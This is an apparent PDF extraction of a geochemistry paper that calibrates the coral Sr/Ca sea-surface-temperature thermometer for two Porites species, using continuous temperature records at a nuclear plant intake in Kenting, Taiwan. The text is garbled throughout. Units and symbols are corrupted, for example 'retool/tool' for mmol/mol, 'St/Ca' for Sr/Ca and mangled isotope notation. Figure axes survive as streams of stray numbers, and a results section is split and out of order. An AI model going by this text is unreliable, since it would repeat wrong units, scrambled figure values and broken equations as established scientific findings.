outstanding issues that must be resolved before the S r / C a method can be considered well established. Many of these have been addressed by deVilliers et al. (1994, hereafter abbreviated as d V S N ) . These authors noted that the magni- tude of variation for seawater S r / C a ( 8 . 5 - 8 . 7 retool/tool) corresponds to a temperature artifact of 2.5°C. So, either the local offset between seawater S t / C a has to be corrected or, equivalently, the distribution coefficient D should be used instead of the concentration ratio. They further showed that D [ S r / C a ] for coral relative to seawater is lower than that determined for inorganic precipitation of aragonite at equi- librium by Kinsman and Holland (1969). This lack of equi- librium implies that the S S T - D calibration may be sensitive to rate-dependent and biogenic processes. Indeed they found different temperature calibrations for corals of different gen- era and for samples formed at different growth rates from the same coral. Another factor requiring clarification is whether the temperature at the SST recording station can represent that of the sampling site. Yet another factor is how to extend the temperature range of the D - S S T calibration. In fact, deVilliers et al. (1995) reported large discrepancies between corals of the same species that grew only 20 meters apart and expressed pessimism about the future of this method. Indeed, presently there exist several surprises and discrepancies when the S r / C a method is applied. For in-
stance, the temperature o f the last interglacial m a x i m u m was found to be 4°C lower than present using corals f r o m N e w Guinea ( M c C u l l o c h et al., 1994b) while it was thought to be a period slightly w a r m e r than the present. Moreover, the SST o f tropical Pacific (Vanuatu, Beck et al., 1992) 10 kyr ago was 4°C l o w e r than that at tropic Atlantic (Barbados, Guilderson et al., 1994) at the same time. The difference is m u c h larger than expected. Careful investigation o f possible pitfalls o f the n e w m e t h o d may help to settle s o m e o f these key questions.
This paper is a report o f our effort to calibrate the D - S S T relationship for the two widely sampled species, P. lobata and P. lutea. W e took advantage o f the availability o f contin- uous SST recording at the water intake o f a nuclear p o w e r plant located at Kenting, southern Taiwan, since 1987. Our calibration is then c o m p a r e d with the only other such calibra- tion in the literature ( d V S N ) . W e further investigated the growth rate effect and the variation in seawater [ S r / C a ] . A preliminary report o f our result was presented by Lee et al. ( 1 9 9 5 ) .
2. SAMPLE TREATMENT AND MEASUREMENT METHODS
Coral species of P. lobata and P. lutea were gathered on January 1, 1993 and 1994, respectively, at the water intake of the Third Nuclear Power Plant, Nanwan Bay, Kenting National Park, southern Taiwan, at depths of 2 m and 4 m, respectively (Fig. 1 ). There is
no temperature difference between these two depths as measured by means of highly accurate (0.05°C) thermometers. Sea surface water samples were collected monthly from Jan., 1993 to Dec., 1993 from the same site. Corals were sectioned along the vertical direction of growth into 1.0 cm thick slices using a diamond-band saw. They were immersed in 10% sodium hyperchlorite for at least one day to get rid of organic matrix materials, then washed with deionized water in an ultrasonic cleaner and finally dried at 50°C in an oven. Growth rates were about 15-16 mm/yr for P. lobata and 17-23 mm/yr for P. lutea as estimated from density bands on X-ray photo- graphs.
On each slice, subsamples of P. lobata, each weighing about 5 - 6 mg, were drilled with a drill bit of I mm in diameter at a fixed interval of 1.5 mm along the axis of maximum growth and crushed into fine powder in an agate mortar (circular holes in Fig. 2). An improved sampling technique was applied to P. lutea. Using a mi- crometer-controlled 3-D stage and a high speed (7,500-25,000 rpm) fine (thickness 0.15 mm) circular diamond saw, we first cut two parallel lines 1.5 mm apart along the maximum growth direction. Further cutting then produced small sample cubes (1.5 × 1.5 × 2 mm 3) (Fig. 2). All cutting was performed with methanol as a cool- ant. The technique can obviously be used for higher resolution sam- pling as small as 0.15 mm intervals, if necessary. The cubes were crushed and homogenized in a mortar. Most of the samples were used for carbon and oxygen isotopic analysis. A small aliquot of the coral sample powder, about 50 #g in weight, was weighed using a micro-balance and dissolved in a drop of 1 N HC1. Optimal amount of 42Ca-44Ca-84Sr triple spike solution was added so that the 42Ca from spike was twenty-five times that from sample. We then directly loaded about 1/20 of the mixture solution on a single Ta filament. The MAT-262 at IES was used to measure first calcium then stron- tium isotopic ratios. In order to remove instrumental mass fraction-
1 0 0 I ; ~ I
monsoon I1 0 ¢ m I E 121"
ie~ 1= P. I o b a t a • • P. lutea 5 km I !
F~G. 1. Nanwan Bay in Kenting National Park, southern Taiwan. Coral and seawater samples were collected at the water intake pond of the Third Nuclear Power Plant, where continuous SST measurements have been taken since 1987. The distance between the thermal-couple sensor used to measure SST and the coral sampling site is about 200 m.
FIG. 2. Enlarged photograph and X-ray photograph (inset) of
Porites coral slab subsampled using a 1.0 mm drill (circular holes)
and with a 0.15 mm thick diamond saw (thin cuts). The micro- surgical stage plus the ultra-small diamond saw developed offer a well controlled micro-sampling capability. Since 0.15 mm is equiva- lent to about three day worth of coral growth, better than weekly resolution is achievable. This method seems to have some advan- tages over the drill method.
appropriately averaging over time periods w h e n the sample growth actually took place. This has not b e e n the case for m o s t o f the published work. Beck et al. (1992) used 6~80 to infer the temperature, d V S N ' s m e a s u r e m e n t at Galapagos is based on SST 100 k m away. Only at Hawaii ( K o K o Head, O a h u ) was weekly bucket measurements m a d e near the sam- pling site.
To o v e r c o m e this difficulty, we first calibrated both the continuous SST sensor reading and a CTD against our abso- lute mercury thermometer. W e then monitored the tempera- ture difference b e t w e e n the sensor location and the sampling site 200 m away as recorded by the CTD over a 48 h period. During that time the SST variation was less than I°C. Figure 4 shows the result. Instantaneous differences varied b e t w e e n - 0 . 4 ° C and 0.7°C and w e r e probably attributable to the change o f water depth at coral site with tide and direct heat- ing o f the shallow sea b o t t o m by the solar insolation. H o w - ever, the difference averaged over 24 h was only 0.15°C. W e thus believe that temperature difference averaged over time longer than a w e e k was probably at most 0.1°C. The use o f the continuous SST record should be accurate to this level.
ation in thermal ionization mass spectrometry, single spike isotopic result of Sr was normalized to ~Sr/88Sr = 0.1194 while the double spike Ca results were corrected to 4ZCa/44Ca = 0.29969.
Typically 1-2 mg coral subsamples were measured for oxygen isotopic analysis on a MAT252 mass spectrometer with an external precision of 0.10%~ (2or) and 6~80 values are expressed relative to the PDB standard.
Monthly samples of seawater of 1993 were also subject to Sr, Ca, and 6 ~80 analyses. First, 50 c.c. samples were filtered by membrane filters (MFS 0.45 #m). Subsequently, a 0,05 g aliquot was mixed with suitable amount of triple spike and eluded through a cation- exchange resin column (Biorad AG-50W × 8, 100-200 mesh) to remove other sea salts. This was followed by the collection of Sr and Ca together in one fraction. They were measured in mass spec- trometers the same way as coral samples.
Daily mean temperatures were obtained by averaging three read- ings: the maximum and minimum readings from the continuous thermal couple trace on the chart recorder plus one reading taken manually at 8:00 a.m. everyday. Temperature difference between the sampling site and the continuous recording thermal couple sensor location, where long-term SSTs record was obtained, was checked by simultaneous measurements with high precision calibrated mercury thermometers (_+0.05°C) whose calibration is traceable to the abso- lute national temperature standard.
3. TEST OF THE ISOTOPE DILUTION METHODS A long duration data acquisition run for Ca on MAT262 was performed to ensure that unusually large mass fractionation effects can be efficiently corrected using our double spike method (Fig. 3 ). The raw 4°Ca/42Ca ratios were severely fractionated by as much as 26%c. The corrected ratios spanned a range only 0.6%0 and the mean value converged to a 2 × S. D. ~ _+0.035%0 by using exponential law (Russell et al., 1978). It is also obvious from Fig. 3 that the linear law did not completely remove the fractionation effect.
For St/Ca ratio, a long-term reproducibility of +_0.44%e (2c~, n = 7 ) was achieved as demonstrated by repeated an',dyses of the same coral sample powder. The external error of repeated measurements of the same seawater sample was -+0.55%c (2or, n = 3).
4. RESULTS AND DISCUSSION
4.1. T e m p e r a t u r e D i f f e r e n c e s b e t w e e n t h e S a m p l i n g Site a n d t h e S S T R e c o r d i n g S e n s o r L o c a t i o n Ideally, when calibrating the S r / C a - S S T relationship, one should use continuous SST record at the coral site after
4.2. T e m p o r a l S r / C a V a r i a b i l i t y o f S e a S u r f a c e Water
The conventional practice to separate liquid and particu- late phases in aquatic chemistry is by filtration with 0.45 /~m m e m b r a n e ( G o l d b e r g et al., 1952). But this has been challenged by recent works ( D a i e t al., 1995; Baskaran and
l~lI~ Corrected by linear law
5 . 8 8 bserved 40Ca/42
0.0 -4.0 -8.0 -12.0
F r a e t i o n a t i o n / ainu (O/.o)
FIG. 3. 4°Ca/4aca ratio vs. mass fractionation factor per ainu of mass differences (negative favoring heavy isotopes). An extremely fractionated thermal ionization mass spectrometer run of a sample spiked at a ratio of 4aca~p~ko :42Ca~or~ = 25:1. It demonstrates that our 42-44 double spike procedure can correct for the fractionation effect up to 26%o in 42/40 so that it converges to a 2 × S.D. of the mean = _+0.035%0. The 95% confidence level for our run to run reproducibility in Sr/Ca using the triple spike method was 0.44%c based on seven separately spiked aliquots of the same sample powder.
6 . 0 4 [ Corrected by exponential law 1 I N, / 2S.D. ofmean :0.035 °/oo ~ x
6 . 0 0 ~ ~
0.9----0-- Temp Difference -- e . - . Tide Height
2.20.7 1 ~ ~ , , e . S ~ I 2"0
12:00 9/6 - 12:00 9/8, 1994
FIG. 4. Diurnal fluctuation of temperature differences between the sampling site and the thermal couple recorder location for long time SSTs measurements. Temperature differences of up to 0.7°C were found over short timescale (hour). However, the 24 hour average difference was less than 0.15°C, between the two locations. Tidal heights are also plotted.
Santschi, 1993; Martin et al., 1995). It is not clear how should one filter the water sample such that it best represents the seawater fi'om which coral extracts the Sr and Ca. dVSN found no significant difference between filtered (0.45 #m) and unfiltered seawater samples of open ocean in the central North Pacific Ocean. However, this is not necessarily appli- cable to the coastal water in the semi-enclosed Nanwan Bay. As an exploratory test, we divided our November seawater sample into three portions, one unfiltered, the other two fil- tered using 5 #m and 0.45 #m filters, respectively. As shown in Table la, the Sr/Ca ratio of unfiltered one is only 0.0057 retool/tool higher than the one filtered by 0.45 #m mem- brane. This result is similar to dVSN's. But the one filtered by 5 #m membrane showed a Sr/Ca 0.030 mmol/mol higher than those filtered by 0.45 #m membrane. Similar offsets were also found in three other samples. This phenomenon suggests that particulates between 0.45-5 #m possess higher Sr/Ca ratios. Using the measured Ca concentrations for the three fractions of the 11/6 sample, we can infer the Sr/Ca of the three components that contributed to the seawater Ca and Sr at Kenting in Table lb. It is also conceivable that the
blank in 5 #m filters may contribute to the high Sr/Ca for that fraction. To conform to the usual convention, we still decided to pass all of our seawater samples through 0.45 #m filters before measurements. Whether this is the correct procedure should be a subject for further study.
The average Sr/Ca ratio of seawater samples for 1993 at our sampling site is 8.551 mmol/mol (Fig. 5a, Table 2) well within the worldwide range of 8.5116-8.5855 mmol/mol as compiled by dVSN. We will use this value to represent the seawater value in the distribution coefficient calculation below. However, the total range of seawater St/Ca was 8.539-8.572 mmol/mol. This range of 0.033 mmol/mol cor- responds to a temperature artifact of 0.7°C. The existence and magnitude of such temporal variations should be the subject of careful further investigation. This will be neces- sary before the high precision and time resolution of this new powerful thermometer can be fully exploited. Further- more, how different the seawater [Sr/Ca] was during glacial and the last interglacial remains an important yet open ques- tion. Sea surface Sr/Ca ratio of November, 8.572 mmol/ mol, is higher than the ratios of other months, 8.539-8.560
Table I a. St/Ca of seawater samples filtered by different membranes, a Table lb. Three components for coastal seawater at Nanwan Bay, Kenting. a
Date 8/31/93 9/28/93 12/10/93 11/6/93 [Ca] ,amol/g [Ca] # m o l / g Percent % Sr/Ca mmol/mol
No filtration 8.5780 10.332 < 0.45 g m 9.626 93 8.572
5 g m 8.5635 8.5749 8.6110 8.6030 10.030 0.45 ~ 5 g m 0.406 4 9,317
0.45 btm 8.5413 8.5513 8.5421 8.5723 9.626 > 5 ~tm 0.302 3 7.776
a. 2cr reproducibility = +--0.0047 mmol/mol as determined by three separately spiked samples for the same seawater.
a. Calculated from 11/6 data in Table la.
mmol/mol. This may possibly be the consequence of the intrusion of deep water masses brought up by the Kuroshio and the current from the South China Sea. Their high salinity and high nutrient (Shaw, 1989) can increase Sr/Ca which correlates with nutrient according to dVSN. Alternatively, it may be a local runoff effect. A water sample collected from a local stream nearby has a high Sr/Ca of 8.833 mmol/mol. This is expected as the entire area was covered by raised coral reefs which release Sr preferentially when they are altered by interacting with fresh water.
Similar problems are well known in oxygen isotope ther- mometry. At Nanwan Bay, because of the heavy seasonal rain in the summer and early autumn (Fig. 5b), there is an offset in ~5~80 of 0.18%~, between the July to January values and the February to June values. The annual 6~sOpDn range of 0.24%0 (2 × S.D.) also corresponds to a temperature shift of more than I°C temperature difference. A comparison between Sr/Ca ratio and 6t~Opt~B of P. lutea suggests that there may be a 6~sO anomaly of ~0.4%~, ( - + 1 . 5 ° C ) in the summer of 1991, possibly because of the more intense precipitation of that season (Fig. 5c).
4.3. The Sr/Ca-SST Relationship for Porites Corals
The Sr/Ca-SST relationship was established using the data for January 1989 to January 1991. We converted the sampling positions to time periods by assuming that the winter and summer temperature extremes correspond to the extreme Sr/Ca ratios. In between the five extremes constant growth rates were assumed. For P. lobata, we found that the growth rates for these four periods are all about 15-16 ram/ yr (Fig. 6a). For P. lutea, the growth rates throughout 1989 were about 18 mm/yr while from January to August of 1990 it grew at a rate of almost 20 mm/yr and then accelerated to 23 mm/yr between August 1990 and January 1991 (Fig. 6b). Linear least square regression minimizing the deviation in Sr/Ca gave the following relationships between skeletal Sr/Ca and SST (Fig. 6c):
Sr/Ca (retool/tool) = 10.307 - 0.0505 × SST(°C)
R 2 = 0.91 forP. lutea; (1)
Sr/Ca (mmol/mol) = 10.356 - 0.0528 × SST(°C) R 2 = 0.96 for P. lobata. (2) The 95% confidence envelope of Eqn. 1, calculated using the regression method of Draper and Smith (1980), indicates that SST can be inferred from Sr/Ca measurements using this calibration to about ±0,2°C. This is close to what analyt-
ical uncertainty of 0.44%~, in Sr/Ca alone can account for (~O.l°C).
4.4. lntragenus Variation
The sensitivity of Sr/Ca ratio uptake changed by SST is 0.0505 mmol/mol/°C for P. lutea and 0.0528 mmol/mol/ °C for P. lobata. The two Sr/Ca-SST relationships are not significantly different at 95% confidence interval. Compared to P. [obata, the P. lutea relation gives the same temperature in winter but slightly warmer temperature in summer by only 0.2-0.3°C (Fig. 6c). Since the growth rates probably were not constant between extremes, we are currently investigat- ing the effect of using different assumptions on the growth rate model (e.g., cosine function, Taylor et al., 1993) on the calibration relations. Furthermore, since coral Sr/Ca ratios are out of equilibrium, presumably driven by biological ki- netic effects, it will be prudent to check whether even distinct coral heads of the same species can display different kinetic effects as claimed by de Villiers et al. (1995). This check is in progress.
4.5. The Growth Rate Effect on Skeletal S r / C a
The difference of Sr/Ca uptake between the faster and slower growth rate for Pavona cIavus, a columnar coral, is significant (dVSN). The slower the growth rate is, the closer the D value approaches the equilibrium value of inorganic aragonite. They found this growth rate effect by comparing samples grown along a fast axis at 11 - 12 mm/yr and those grown along a slow axis at 4 - 7 mmlyr.
The different growth rates of P. lutea in the different periods that we studied provide an opportunity to check for growth rate effects. Separate Sr/Ca-SST relationships are constructed for summer to winter of 1989 and 1990, respec- tively (Fig. 6d). The growth rates of these two periods were 18 mm/yr and 23 mm/yr, respectively, a difference of 28%. The difference between these two relationships is less than 0.1 °C and they are indistinguishable at 95% confidence inter- val. This result, when combined with the P. lobata result, suggests that a single Sr/Ca-SST relationship can be used for Porites sp. whose growth rates vary between 15 and 23 ram/yr.
4.6. Comparison between D[ S r / C a ]-SST Calibrations
The various Sr/Ca vs. SST relationships are not directly comparable because seawater Sr/Ca differences would offset them (Fig. 7a). Since different water masses may have their
(a)8.650 8.625 8.600
8.575r,,) 8.550 r ~ 8.525 8.500
(b)., - I [ -- ~-. Sr/Ca r 0.20 ~ j kx,~ 0.00 i " ,I,-I, -0.10 • ." ", -0.20 . . . .
-0.30~ analyses ] -0.40
I for seawater samples
. . . 0.50 12 1 2 3 4 5 6 7 8 9 10 I1
0cx~ , ~ , 20 -~ 10 * M I 1988 1989 1990 1991 1992
FIo. 5. (a) Annual variation of Sr/Ca and 618OpDB in the sea surface water (0.45 ~m filtered) determined by monthly sampling throughout 1993. The variation of 6 J sOpD~ depends on rainfall. Summer (wet season) 6~8OpDB in the sea surface water is ~0.18%c lighter than that in winter. The ratio of Sr/Ca varies less systematically and was possibly influenced more by the oceanic current. The mean of annual Sr/Ca ratio was 8.5514 mmol/mol. The 2 × S.D. is _+0.0204 mmol/mol which corresponds to _+0.4°C in SST. (b) The monthly precipitation data from 1988- 1992. Note that the rainfall in Kenting concentrates in the summer months. Also note that the summer of 1991 saw the most intense precipitation thus fresh water input. (c) Comparison between Sr/Ca ratio and 6~sOpD~ of P. lutea, there was an apparent 6~sO anomaly with a decrease of 0.4%~ in the summer of 1991 possibly caused by the large freshwater input.
o w n inherent S r / C a ratios ( d V S N ) , we first note that the m e a n S r / C a ratio o f sea surface water in N a n w a n Bay, 8.551 m m o l / t o o l , is h i g h e r than that in the H a w a i i a n Islands, 8.510 m m o l / m o l by a difference of 0.041 m m o l / m o l , correspond- ing to about 0.7°C in temperature difference. The effect can
be corrected by subtracting off the sea water differences, and
Sr/CaN = 10.266 - 0.0505 × S S T for P. lutea, ( 3 ) Sr/CaN -- 10.315 - 0.0528 x SST for P. lobata, ( 4 )
(c)o O O
©t,o - 5 . 8 0 - 5 . 5 5 - 5 . 3 0 - 5 . 0 5 - 4 . 8 0 - 4 . 5 5 - 4 . 3 0 9 . 0 - - - } 8 . 8 7 8 . 9 2 8.97 9 . 0 2 9 , 0 7 9 . 1 2 9 . 1 7 9 . 2 2 8 . 0 7 . 0 6 . 0 5 . 0 4 . 0 3 . 0 2 . 0 1.0 0 . 0
Distance to Top (cm)F~G. 5. (Continued)
where Sr/CaN is the corrected coral S r / C a ratio n o r m a l i z e d to the S t / C a ratio of sea surface water in the H a w a i i a n Islands ( d V S N ) by taking off the discrepancy of S r / C a ratio b e t w e e n different sea surface waters and defined as
Sr/Ca~. ~ Sr/Cacora, -- ] S r / C a ... - 8.510]. ( 5 ) In Eqn. 5, Sr/Ca~e~w~r is the S r / C a ratio of sea surface water of the sampling site and the unit is retool/tool. T h e m e a n S r / C a value for two seawater samples from the coral sam- piing site in New C a l e d o n i a of Beck et al. ( 1 9 9 2 ) was 8.4641 m m o l / m o l ( B e c k , 1995, pers. c o m m u n . ) . So, we can normal-
Table 2. Sea water Sr/Ca and 8180~oB of Nanwan sampling site. a
Date Month 81SO(%o) Sr/Ca (mmol/mol)
1/3/93 1 -0.04 8.5549 2/5/93 2 0.11 8.5581 3/6/93 3 0.08 8.5606 3/31/93 4 0.12 8.5432 5/1/93 5 0.14 8.5416 6/5/93 6 0.15 8.5571 7/3/93 7 -0.07 8.5385 7/31/93 8 -0.05 8.5550 8/31/93 9 0.00 8.5413 9/28/93 10 -0.03 8.5513 11/6/93 11 0.00 8.5723 12/10/93 12 -0.09 8.5421 Max. 0.15 8.5723 Min. -0,09 8.5385 Mean 0.03 8.5514 2xS.D. 0.17 0.0204
a. All water samples were filtered using 0.45~tm membranes.
ize their S r / C a to the Hawaii seawater also. The resulting three S r / C a - S S T lines overlap m u c h better after this normal- ization (Fig. 7 a ) . Therefore, w h e n the S t / C a ratios of local seawater and o f coral skeleton are known, SST can be calcu- lated ( a s s u m i n g a H a w a i i a n sea surface water S r / C a value of 8.510 m m o l / m o l ) from
S S T = 34.77 + 19.80
× (Sr/Ca~e, - Sr/Cacoral) for P. lutea, ( 6 ) S S T = 34.19 + 18.94
× ( S r / C a ~ , - Sr/Caco,al) for P. lobata. ( 7 ) A n alternative approach to account for the seawater effect is to use the distribution coefficient (Fig. 7 b ) , defined as
D [ S r / C a ] =- [ S r / C a ] c o J [ S r / C a ] .... ( 8 ) The c o r r e s p o n d i n g equations for D [ S r / C a ] are
P. lutea: D = 1.2054 - 0.005901 X SST ( 9 ) P. l o b a ~ : D = 1 . 2 l l l - 0.006179 x SST D = 1.2381 - 0.007378 × SST D = 1.2875 - 0.009268 x SST (this w o r k ) , ( 1 0 ) ( B e c k ) , ( 11 ) ( d V S N ) . ( 1 2 ) W h e n Eqns. 10 and 12 are compared, we f o u n d that the two P, lobata lines intersect at a b o u t 24°C w h i c h is close to the m e a n annual SST (Fig. 7 b ) . Therefore, there is little difference w h e n either equations is used for the m e a n a n n u a l SST. However, the slopes of the two equations are quite
(a)r ~ r ~ 29 27 26 25 24 23 22 2l I I / I t i ---,-- SST ~ Kenting: P. lobata _ ... Sr/Ca P~t~ _.'=' I
L1 )8 1990 g D a t e 8.84 8.89 8.94 ~" 0 8.99 9.04 9.09 9.14 9.19 9.24
(b)29 8.83 Kenting: P. lutea .. 8.88
281~... St/Ca ~ , o ,~, 27 ~ i ~ ~ , . 8.988"93; ~" 26 ' -- ~ , ¢ 9.03 [...., 25 '::/f/ '~ 9.08 I= ~ra~ 24 ~ /__1~89._7~,,£.. ' " t 1990 ~ ~ ' ~ I 9.13 23 9.18 22 9.23 21
~ ~ ~ :
~ ~ ~ ~ ~D a t e
(c)9.5 . . . . i . . . . i . . . . i . . . . i . . . . J . . . . i . . . . i . . . . i . . . . , . . . . 9.4 "- P. lutea ~ ... A ... P. l o b a t a 8.9 95% Confidence Interval " ~ . ~ \ ~ > . . 8.8 . . . ,, ', ,, ' . . . , ~ 2 0 21 2 2 23 2 4 25 2 6 2 7 2 8 2 9 3 0 S e a S u r f a c e T e m p e r a t u r e ( ° C ) o 9.3
Eo 9.2 9.1 ~ 9.0 r . ~
(d)9.5 9.4 9.3 9.2 9.0 8.9 8.8 20 . . . . i . . . . i . . . . i . . . . q . . . . i . . . . i . . . . i . . . . i . . . . r . . . .
: ... • ... Growth Rate = 23 mm/yr
. (from 1990 summer to 1990 winter)
~ - - - Q - ~ Growth Rate = 18 mm/yr
~ o m 1989 summer to 1989 winter)
21 22 23 24 25 26 27 28 29 30
Sea Surface Temperature (°C)
F1c. 6. (a) Comparison between SST and skeletal Sr/Ca variations in P. lobata from 1988-1991. We convert the sampling positions to time periods by assuming that the temperature extremes correspond to the extreme Sr/Ca ratios. (b) Similar plot for P. lutea. (c) Plot of Sr/Ca vs. SST for P. lutea and P. Iobata. The two calibrations agree within respective 95% error envelopes. For the same Sr/Ca ratio, the inferred temperatures are identical in winter and differ by at most 0.2 ~ 0.3°C in summer. (d) The growth rate effect on skeletal Sr/Ca-SST relationship for P. lutea. The growth rates were 18 mm/yr from July to Dec., 1989 and 23 mm/yr from July, 1990 to Jan., 1991. Nevertheless, the slopes of two Sr/Ca-SST relationships are indistinguishable within their respective 95% confidence intervals.
different. This will lead to a difference of about + 1.2°C in summer at 27°C and about 1.2°C in winter near 21°C. B e c k ' s line (Eqn. 11) agrees with that of d V S N ' s at high temperature while it agrees with ours at low temperature (Fig. 7b).
Since our D - S S T lines have slopes only 67% that of d V S N one may wonder whether the smaller amplitudes of our mea- sured S r / C a variation for the same SST are caused by im- proper sampling which might have averaged over uneven coral growth horizons. This artifact is unlikely to be the cause of the interlaboratory discrepancy because our 6~80 sensitivity to SST is 0.19%d°C for P. l o b a t a . This compares favorably with the 0.18-0.21%c/°C values reported by McConnaughey (1989) and Gagan et al. (1994). If during our sampling we had inadvertently averaged the coral growth then one would have expected the same decrease in 6t80 thus a SST sensitivity close to 0.12%d°C. This also does
not appear to be a temperature effect as that observed for U / C a vs. SST by Min et al. (1995) for Tahiti ( 2 8 - 2 9 ° C ) and New Caledonia ( 2 0 - 2 7 ° C ) since the temperature ranges for Kenting, New Caledonia, and Hawaii used in the three studies were: 2 2 - 2 8 ° C , 2 0 - 2 7 ° C , and 2 3 - 2 8 ° C , respec- tively.
4 . 7 . A p p l i c a t i o n to P r e v i o u s W o r k o n G r e a t B a r r i e r R e e f a n d N e w C a l e d o n i a C o r a l s
McCulloch et al. (1994a) studied the S r / C a coral record for the Great Barrier R e e f of Australia and found a clear signal of the 1 9 8 2 - 1 9 8 3 E1 Nifio. In Fig. 8a we plot their SST inferred using S r / C a and d V S N ' s calibration. For 1978 and 1979, we also recalculated the S S T using our calibration. This leads to an upward revision of the summer temperature maximum from 27°C to about 29°C. The revised SST seems
(a)9.4 9.3 9.2 [= 9.1
N9.0 8.9 . , . i . . . . f . . . . i . . . . i . . . . i . . . . i . . . . ~ . . . . i . . . . i , , , • [ C o r a I : P l o b a t a ] ~ " • T h i s s t u d y S e a w a t e r n o r m a l i z a t i o n . ~ N , X ~ ~
8.8 - 2-220 21 22 23 24 25 26 27 28 29 30 S e a S u r f a c e T e m p e r a t u r e ( ° C ) (b)
D1.14 1.12 1.10 1.08 1.06 1.04 1.02 20 21 22
I ,.i. . . . i , , , i . . . . i . . . . i . . . .
= .... r. . . . i ¸ , ~ , , , . . . . P. l u t e a in this study D = 1 . 2 0 5 4 - 0 0 0 5 " 9 0 1 * S S T - - P. l o b a t a in this
studyD = 1 2 1 1 1 - 0 0 0 6 1 7 9 * S S T . . . P. l o b a t a
indVSN D = 1 . 2 8 7 5 - 0 . 0 0 9 2 6 8 * S S T P. I o b a t a
inBeck • • D = 1.2381 - 0 0 0 7 3 7 8 * S S T 23 24 25 26 27 28 29 30 S e a S u r f a c e T e m p e r a t u r e (oC)
FIG. 7. (a) Comparison between Sr/Ca-SST relationships estab- lished by Beck et al. (1994), dVSN, and ours. There are serious inconsistencies between these relationships, partly caused by the difference in the Sr/Ca ratios of the sea surface waters at different sites. Normalizing the seawater Sr/Ca to that of Hawaii would shift our calibration line and Beck's line towards the dVSN line thus reducing the differences. Note the SST used by Beck et al. (1992, 1994) was inferred from oxygen isotope data indirectly. (b) The corresponding D [Sr/Ca]-SST relationships.
to agree better with the mean s u m m e r m a x i m u m temperature o f 28.8°C estimated from direct m e a s u r e m e n t s made at nearby stations over 1 9 7 5 - 1 9 7 8 (Gagan et al., 1994). The shift is o w i n g to mostly the difference b e t w e e n our calibra- tions and dVSN, not intragenus differences. Similarly, we also note that the SST inferred using the indirect 6 ~ O - S r / Ca calibration o f Beck et al. (1992, 1994) by Min et al. ( 1 9 9 5 ) were lower than the actual measured SST (Fig. 8b). Although the inferred SST is coincident with the actual mea- sured SST in winter, there is a discrepancy about 1 - 2 ° C in summer. Using the S t / C a ratio o f 8.464 m m o l / m o l for their seawater (Beck, 1995, pets. c o m m u n . ) , we can reconstruct the SST by our n e w calibration (Eqn. 7 or Eqn. 10). The discrepancy in s u m m e r using B e c k ' s thermometry is reduced
to half the original size. These two applications o f our cali- bration s e e m to support its validity.
W e have confirmed that potentially paleo-SST can be in- ferred f r o m coral [ S r / C a ] with an accuracy better than --0.2oC.
(a)32 ~.) 30 % , 28 26 L e~ 24
E22 20 "c 18 16 (b) P a n d o r a R e e f ( M c C u l l o e h et al., 1994 ) 1978 1979 1980 1 9 8 1 1982 1983 N e w C a l e d o n i a ( M i n et aL, 1995 ) 28 ~J %, t,,. 26 24
E22 ;¢1 20 -(3- - - E 3 . • - 0 - 2 N o S r l C a
Using our calibration
Using Beck calibration
Measured SST NO S r l C a data 1985 1984 1987 1986 1983 1 8 , , ~ , I , ~ ~ , I . . . . I . . . . I , , , , I 5 6 7 8 9
FIG. 8. (a) Application of the new calibration to the Great Barrier Reef. Sr/Ca temperature (open circles) was obtained on P. lutea but estimated using dVSN's calibration for P. lobata by McCulloch et al. (1994a). We have recalculated the temperatures using our calibration for P. lutea (open circles). The recalculated temperature agrees better with the range directly measured at a nearby station (shaded bars). (b) Similar plot for New Caledonia corals (Min et al., 1995). They used Beck's Sr/Ca-SST thermometer (1994) to reconstruct the local sea surface temperatures from 1983-1987 (open square). The inferred SST is coincident with the actual mea- sured SST near Amedee Lighthouse, Noumea, New Caledonia ( solid circle) in winter; however, there is a discrepancy about 1 ~ 2°C in summer. If our new calibration is applied (open circle) then the discrepancy would be reduced by half.
W e have devised a micro-surgical m e t h o d to sample coral with a resolution better than 0.15 mm, corresponding to less than one week in growth time.
U s i n g a continuous temperature record, we have calibrated the D [ S r / C a ] - S S T relations for both P. lobata and P. lutea. These two relations are identical within errors thus sug- gesting that there is no intragenus effect b e t w e e n the two species. Pooling their data together and fitting a linear rela- tion, we r e c o m m e n d a single SST calibration for the S r / C a t h e r m o m e t e r on coral Porites:
St/CaN = 10.286 - 0.0514 × SST (N: normalized to Hawaii seawater S r / C a
= 8.510 m m o l / m o l ) ( 1 3 ) D = 1.2077 - 0.006011 × SST. ( 1 4 ) The calibrations established using P. lobata and P. lutea g r o w i n g at rates b e t w e e n 15 and 23 m m / y r are identical within respective errors and there exists little growth rate effect for the calibrations.
C o m p a r i n g the d V S N ' s calibration on P. lobata with ours, we found a difference o f up to 1.2°C b e t w e e n 2 1 - 2 7 ° C . Therefore, this inter-laboratory difference needs to be re- solved. Another calibration, obtained s o m e w h a t indirectly by Beck et al. ( 1992, 1994, and pers. c o m m u n . ) , lies b e t w e e n the two direct calibrations.
Seawater sampled at monthly intervals over 1993 show a range o f [ S r / C a ] o f 0.033 m m o l / m o l equivalent to a temper- ature uncertainty o f _+0.7°C. Thus the variability o f seawater [ S r / C a ] may limit the accuracy o f the new t h e r m o m e t r y thus needs to be investigated.
Acknowledgments--Dr. Chang Hwa ( " C h i n a " ) Chen of this insti-
tute kindly transferred his micro-sampling technology for igneous mineral grains to our coral sampling. Ms. Shu-Feng Wu and Pei- Shan Tsai of this institute graciously helped with the oxygen and carbon isotopic analyses. Mr. Hsin-Wei Chen of this institute gener- ously aided our field work. Mr. Jer-Feng Chang of the Third Nuclear Power Plant kindly provided SST data. We are also grateful to Mr. Deng-Song Chen of the Institute of Oceanography, National Taiwan University, for his assistance with underwater corals sampling. Con- structive and comprehensive reviews by T. M. McConnaughey and J. W. Beck significantly improved the paper. Comments on the possible averaging effect of our micro-sampling methods by Profes- sor R. Fairbanks of the Lamont-Doherty Earth Observatory of Co- lumbia University were useful. This research was supported in part by a grant (NSC84-2111-M-001-027 GP) from the National Science Council of the Republic of China. This is contribution IESEP96- 014 of the Institute of Earth Sciences, Academia Sinica, Taipei.
Editorial handling: R. A. Schmitt REFERENCES
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de Villiers S., Shen G. T., and Nelson B. K. (1994) (abbreviated as dVSN) Sr/Ca thermometry in corals: Method calibration and evaluation of (Sr/Ca) ... t~r and interspecies variability. Geochim.
Cosmochim. Acta 58, 197-208.
de Villiers S., Nelson B. K., and Chivas A. R. (1995) Biological controls on coral Sr/Ca and 6~O recontructions of sea surface temperatures. Science 269, 1247-1249.
Draper N. R. and Smith H. (1980) Applied Regression Analysis. 2nd ed., Wiley.
